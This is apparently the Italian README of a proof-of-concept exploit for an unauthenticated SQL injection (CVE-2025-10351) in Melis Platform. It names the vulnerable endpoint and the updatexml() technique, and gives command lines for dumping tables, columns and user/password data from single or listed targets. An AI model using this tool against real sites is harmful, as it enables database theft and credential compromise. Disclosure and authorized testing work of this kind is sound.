CVE-2025-10351 POC - Exploit di SQL Injection 💉

POC per CVE-2025-10351: Una vulnerabilità di SQL Injection non autenticata che interessa un endpoint specifico nel Melis Platform Framework.

---

🔗 Riferimenti

• 📄 CVE-2025-10351 su MITRE
• 📄 Avviso Melis Platform su INCIBE (Istituto Nazionale Spagnolo di Cybersecurity)

---

🚀 Descrizione

Questo POC prende di mira una vulnerabilità di SQL injection basata su errori non autenticata nell'endpoint:

melis/MelisCms/PageEdition/getTinyTemplates?idPage=

Sfrutta updatexml() in MySQL per estrarre:

• Nomi delle tabelle
• Nomi delle colonne
• Dati da colonne specifiche o da tutte le colonne

Rileva anche possibili vettori di SQLi basata su tempo per ulteriore sfruttamento manuale.

---

🛠️ Requisiti

Installa le dipendenze con:

pip3 install -r requirements.txt

---

🧪 Utilizzo

Controllo base

python3 CVE-2025-10351-POC.py -u http://target.com -p 80

Da lista di URL

python3 CVE-2025-10351-POC.py -l targets.txt

Estrai tutti i nomi delle tabelle

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -at

Estrai tutti i nomi delle colonne da una tabella

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users

Estrai tutti i dati da tutte le colonne

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -ac

Estrai colonne specifiche

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password

Utilizzo del proxy con modalità non sicura, cookie e modalità debug

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password --proxy http://127.0.0.1:8080 --insecure --cookies 2prkpe1h72nd4fhmlum65okc04 --debug

---

⚙️ Opzioni

Argument	Description
-u	URL di destinazione
-p	Porta (80, 443, ecc.)
-l	File contenente una lista di URL
-s	Tempo di attesa per test basati sul tempo (default: 1s)
-at	Scarica tutti i nomi delle tabelle
-t	Specifica il nome della tabella
-ac	Scarica tutte le colonne della tabella specificata
-c	Elenco separato da virgole di colonne da scaricare
--proxy	Burp Proxy http://127.0.0.1:8080
--insecure	Disabilita i controlli TLS quando si utilizzano connessioni proxy
--cookie	Cookie per richieste autenticate
--debug	Modalità debug

---

📤 Output

• Tabelle estratte salvate in tables_extracted.txt
• Dati estratti salvati in <table_name>_data.txt

---

⚠️ Disclaimer

Questo documento è destinato esclusivamente a test di sicurezza autorizzati e mitigazione. Non utilizzare il PoC o i passaggi di riproduzione contro sistemi di cui non si è proprietari o per cui non si ha esplicito permesso di test. L'autore non è responsabile per un uso improprio.

---

Realizzato con ❤️ da Manuel Iván San Martín Castillo